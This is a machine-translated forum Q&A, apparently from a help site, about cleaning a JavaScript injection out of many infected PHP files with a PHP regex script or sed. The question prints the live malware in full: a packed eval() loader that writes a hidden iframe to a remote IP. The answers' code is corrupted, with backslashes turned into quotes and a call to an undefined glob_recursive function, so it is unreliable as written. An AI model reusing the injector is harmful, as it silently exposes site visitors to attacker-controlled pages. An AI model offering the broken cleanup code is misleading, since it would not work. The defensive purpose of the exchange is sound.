我有一个关于从我的php文件中删除病毒代码的问题。在我的服务器上有超过1200个php文件,每个php文件都被病毒感染了。将这行添加到html输出
的病毒代码这里是病毒代码:
<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'''w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('''b'+e(c)+'''b','g'),k[c])}}return p}('1 k=" i=''"0''" g=''"0''" j=''"0''" f=''"c://d.h.n.l/o.m''">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352>
以上代码在每个php文件中。如何从每个php文件中删除此病毒代码?有什么快速的方法吗?
您可以使用:
removeVirus.php
<?php
foreach(rglob("*.php") as $virusFile){
$withVirus = file_get_contents($virusFile);
$withoutVirus = preg_replace('%<tag'd+>.*</tag'd+>%', '', $withVirus);
file_put_contents($virusFile, $withoutVirus);
}
function rglob($pattern, $flags = 0){
// forked from https://github.com/rodurma/PHP-Functions/
// blob/master/glob_recursive.php
$files = glob($pattern, $flags);
foreach (glob(dirname($pattern).'/*',
GLOB_ONLYDIR|GLOB_NOSORT) as $dir){
$files = array_merge($files, glob_recursive
($dir.'/'.basename($pattern), $flags));
}
return $files;
}
用法:
将removeVirus.php
放在您的网站的根上,并以根(或作为文件的所有者)从shell中执行
php removeVirus.php
指出:
1 -我已经在我的服务器上测试了包含病毒的10个php
文件的代码,并且它按预期工作。
2 -确保你找到了黑客的来源,并相应地修补你的系统。
如果您提供的"病毒代码"字符串文字嵌入在每个php文件中,那么它可以通过命令行删除。打开shell应用程序(Windows的命令提示符或UNIX/UNIX操作系统的终端,如OS X, Linux等)。在将病毒代码传递给shell之前,您将需要逃避病毒代码,但是理想的方法可能因系统而异。执行以下命令:
cd /path/to/your/infected/php/files
sed -i 's/insert_escaped_virus_code_here//g' *
注:如果还没有安装see,那么按照以下说明操作OS X和Windows。